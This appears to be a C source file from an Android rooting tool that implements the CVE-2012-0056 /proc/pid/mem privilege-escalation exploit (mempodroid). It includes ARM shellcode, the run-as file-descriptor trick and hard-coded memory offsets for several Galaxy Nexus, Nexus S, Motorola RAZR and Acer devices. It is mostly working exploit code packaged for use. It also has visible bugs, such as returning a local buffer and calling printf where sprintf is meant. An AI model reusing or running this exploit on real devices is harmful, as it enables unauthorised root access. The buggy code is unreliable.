/*
 * Copyright (C) 2009 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
#include <android/log.h>
#include <string.h>
#include <strings.h>
#include <jni.h>

#include "exploit.h"

#define TAG   "ToRoot"
#define LOGI(...)  __android_log_print(ANDROID_LOG_INFO,TAG,__VA_ARGS__)




/* mempodroid - implementation of /proc/#/mem exploit for Android
 * Copyright (C) 2012  Jay Freeman (saurik)
*/

/* Modified BSD License {{{ */
/*
 *        Redistribution and use in source and binary
 * forms, with or without modification, are permitted
 * provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the
 *    above copyright notice, this list of conditions
 *    and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the
 *    above copyright notice, this list of conditions
 *    and the following disclaimer in the documentation
 *    and/or other materials provided with the
 *    distribution.
 * 3. The name of the author may not be used to endorse
 *    or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS''
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
 * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
 * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
 * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/* }}} */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <errno.h>
#include <stdbool.h>

#define argv0 "xe-jM_uH"
#define RTLD_NOW    0x2

#define _syscall(expr) ({ \
    __typeof__(expr) _value; \
    for(;;) \
        if ((long) (_value = (expr)) != -1) \
        { \
            LOGI("Break..");\
            break; \
        } \
        else if (errno != EINTR) { \
            char line[1024]; \
            sprintf(line, "(%u)", __LINE__); \
            perror(line); \
            LOGI(" _syscall Exit"); \
        } \
        else\
        {\
            LOGI("Loop___");\
        }\
    _value; \
    LOGI("after break___");\
})

#define _assert(test) do { \
    if (!(test)) { \
        fprintf(stderr, "_assert(%s)\n", #test); \
        LOGI(" _assert Exit"); \
    } \
} while (0)

static int child(int sock) {
    char path[32];
    sprintf(path, "/proc/%u/mem", getppid());
    //LOGV("child _syscall");
    int mem = _syscall(open(path, O_WRONLY));

    uint8_t data[1] = {0};

    struct iovec iov;
    iov.iov_base = data;
    iov.iov_len = sizeof(data);

    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    char control[CMSG_SPACE(sizeof(int))];
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    struct cmsghdr *cmsg;
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    * (int *) CMSG_DATA(cmsg) = mem;

    LOGI("child _syscall2");
    _syscall(sendmsg(sock, &msg, 0));
    return 0;
}

static int parent(int sock, int argc, char *argv[]) {
    uint8_t data[1024];

    struct iovec iov;
    iov.iov_base = data;
    iov.iov_len = sizeof(data);

    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    char control[CMSG_SPACE(sizeof(int))];
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    int rsmsg = recvmsg(sock, &msg, 0);
    LOGI("rsmsg: %d", rsmsg);
    if (rsmsg != -1)
    {
        LOGI("parent _syscall");
        _syscall(rsmsg);
    }

    struct cmsghdr *cmsg;
    cmsg = CMSG_FIRSTHDR(&msg);
    _assert(cmsg != NULL);

    _assert(cmsg->cmsg_len == CMSG_SPACE(sizeof(int)));
    _assert(cmsg->cmsg_level == SOL_SOCKET);
    _assert(cmsg->cmsg_type == SCM_RIGHTS);

    int mem = * (int *) CMSG_DATA(cmsg);
    _assert(mem != -1);

    --argc; ++argv;

    off_t offset = strtoul(argv[0], NULL, 0);
    off_t rest = strtoul(argv[1], NULL, 0);

    argc -= 2;
    argv += 2;

    #ifdef __arm__
    const uint16_t exploit[] = {
        0xbc73, // pop  {r0, r1, r4, r5, r6}
        0x2501, // mov  r5, #1
        0x3d01, // sub  r5, #1

        // movw r3, *rest
        0xf640 | (rest & 0x0800) >> 1 | (rest & 0xf000) >> 12,
        0x0300 | (rest & 0x0700) << 4 | (rest & 0x00ff),

        0x4718, // bx   r3
    0};
    #endif

    offset -= 17;
    lseek(mem, offset, SEEK_SET);

    _assert(memchr(exploit, 0, sizeof(exploit)) == exploit + sizeof(exploit) / sizeof(exploit[0]) - 1);

    int save = dup(2);

    dup2(mem, 2);
    close(mem);

    if (save != 3) {
        dup2(save, 3);
        close(save);
    }

    char self[1024];
    LOGI("parent _syscall2");
    _syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));

    char *args[4 + argc + 1];
    args[0] = strdup("run-as");
    args[1] = (char *) exploit;
    args[2] = self;
    args[3] = strdup("-");

    int i;
    for (i = 0; i != argc; ++i)
        args[4 + i] = argv[i];
    args[4 + i] = NULL;
    int rsExecv = execv("/system/bin/run-as", args);
    if (rsExecv != -1)
        LOGI("parent _syscall3");
        _syscall(rsExecv);
    return 0;
}

static int toRoot_cve_2012_0056_1_impl(int argc, char *argv[]) {
    if (argc == 1) {
//        LOGI(
//            "usage: mempodroid <exit> <call> <args...>\n"
//            "  exit: address in memory to exit function\n"
//            "  call: address in memory of setresuid call\n"
//            "  args: command to run, including arguments\n"
//            "\n"
//          /*"    NOTE: to attempt autodetect, pass '-'\n"
//            "          for either exit, call, or both\n");*/
//            "    Acer A200 Tablet 4.0.3: 0xd9f0 0xaf47\n"
//            "    Galaxy Nexus 4.0.1: 0xd7fe 0xad57\n"
//            "    Galaxy Nexus 4.0.2: 0xd7f4 0xad4b\n"
//            "    Motorola RAZR 4.0.3: 0xd6c4 0xad33\n"
//            "    Nexus S 4.0.2: 0xd7cc 0xad27\n"
//            "    Transformer Prime 4.0.3: 0xd9ec 0xaf47\n"
//            "\n"
//            "concrete implementation by Jay Freeman (saurik)\n"
//            "based on exploit by Jason A. Donenfeld (zx2c4)\n"
//            "more information at: http://blog.zx2c4.com/749\n"
//            "original kernel exploit reported by J��ri Aedla\n"
//        );
//
//        return 0;
    	return 2;
    }

    if (strcmp(argv[1], "-") == 0) {
        dup2(3, 2);
        close(3);
        LOGI("toRoot _syscall");
        _syscall(execvp(argv[2], argv + 2));
        return 1;
    }

    int pair[2];
    LOGI("toRoot _syscall2");
    _syscall(socketpair(PF_UNIX, SOCK_DGRAM, 0, pair));

    if (strcmp(argv[0], argv0) == 0)
        return child(strtoul(argv[1], NULL, 0));

    pid_t pid = fork();
    if (pid != 0) {
        close(pair[1]);
        return parent(pair[0], argc, argv);
    }

    close(pair[0]);
    char argv1[16];

    printf(argv1, "%u", pair[1]);

    LOGI("/proc/self/exe %x, %x", argv0, argv1);
    int rsExecv = execl("/proc/self/exe", argv0, argv1, NULL);
    LOGI("_ _ _ _ _ _ _ _ _ _ _ _");
    if (rsExecv != -1)
        LOGI("Start Syscall /proc/self/exe %s %x", argv0, argv1);
        _syscall(rsExecv);
    return 1;
}


static char* getModle_Release()
{
    void *h;
    char *model_release ="";
    int (*getprop)(const char *, char *, char *);
    char model[192], release[96];
    h = dlopen("libcutils.so", RTLD_NOW);
    if (!(h)) {
        LOGI("error open libcutils.so");
        return 0;
    }
    getprop = (int (*)(const char *, char *, char *)) dlsym(h, "property_get");

    if (!(getprop)) {
        LOGI("error in dlsym()");
        dlclose(h);
        return 0;
    }
    getprop("ro.product.model", model, NULL);
    getprop("ro.build.version.release", release, NULL);
    strcat(model, " ");
    strcat(model, release);
    return model;
}


//jboolean
//Java_com_example_jniroot_JniRoot_rootFromJNI( JNIEnv* env,
//                                                  jobject thiz)
/**
 * return 0 mean success
 * */
int toRoot_cve_2012_0056_1()
{
    char *Acer_A200_Tablet_4_0_3[] ={"0xd7f4","0xad4b","sh"};
    char *Galaxy_Nexus_4_0_1[]={"0xd7fe","0xad57","sh"};
    char *Galaxy_Nexus_4_0_2[]={"0xd7f4","0xad4b","sh"};
    char *Motorola_RAZR_4_0_3[]={"0xd6c4","0xad33","sh"};
    char *Nexus_S_4_0_2[]={"0xd7cc","0xad27","sh"};
    char *modelrelease;
    modelrelease = getModle_Release();
    LOGI("Root Start...");
    if (!strcasecmp(modelrelease, "Acer A200 Tablet 4.0.3"))
    {
        LOGI("Get Device:%s",modelrelease);
        toRoot_cve_2012_0056_1_impl(3, Acer_A200_Tablet_4_0_3);
    }
    else if(!strcasecmp(modelrelease, "Galaxy Nexus 4.0.1"))
    {
        LOGI("Get Device:%s",modelrelease);
        toRoot_cve_2012_0056_1_impl(3, Galaxy_Nexus_4_0_1);
    }
    else if(!strcasecmp(modelrelease, "Galaxy Nexus 4.0.2"))
    {
        LOGI("Get Device:%s",modelrelease);
        toRoot_cve_2012_0056_1_impl(3, Galaxy_Nexus_4_0_2);
    }
    else if(!strcasecmp(modelrelease, "Motorola RAZR 4.0.3"))
    {
        LOGI("Get Device:%s",modelrelease);
        toRoot_cve_2012_0056_1_impl(3, Motorola_RAZR_4_0_3);
    }
    else if(!strcasecmp(modelrelease, "Nexus S 4.0.2"))
    {
        LOGI("Get Device:%s",modelrelease);
        toRoot_cve_2012_0056_1_impl(3, Nexus_S_4_0_2);
    }
    else
    {
        LOGI("Device:%s Not suitable :(", modelrelease);
    }

    if (getuid() == 0)
    {
        //LOGI("Root Success!!!");
    	return 0;
    }
    else
    {
        //LOGI("Root False...");
        return 1;
    }
    LOGI("Root End...");
}


exploit_t EXPLOIT_cve_2012_0056_1 = {
    .name = "cve_2012_0056_1",
    .call_direct = toRoot_cve_2012_0056_1,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(cve_2012_0056_1);

//    switch (g_type) {
//
//    case S_cve_2012_0056_1:
//    	ADDEXP(cve_2012_0056_1);
//        break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
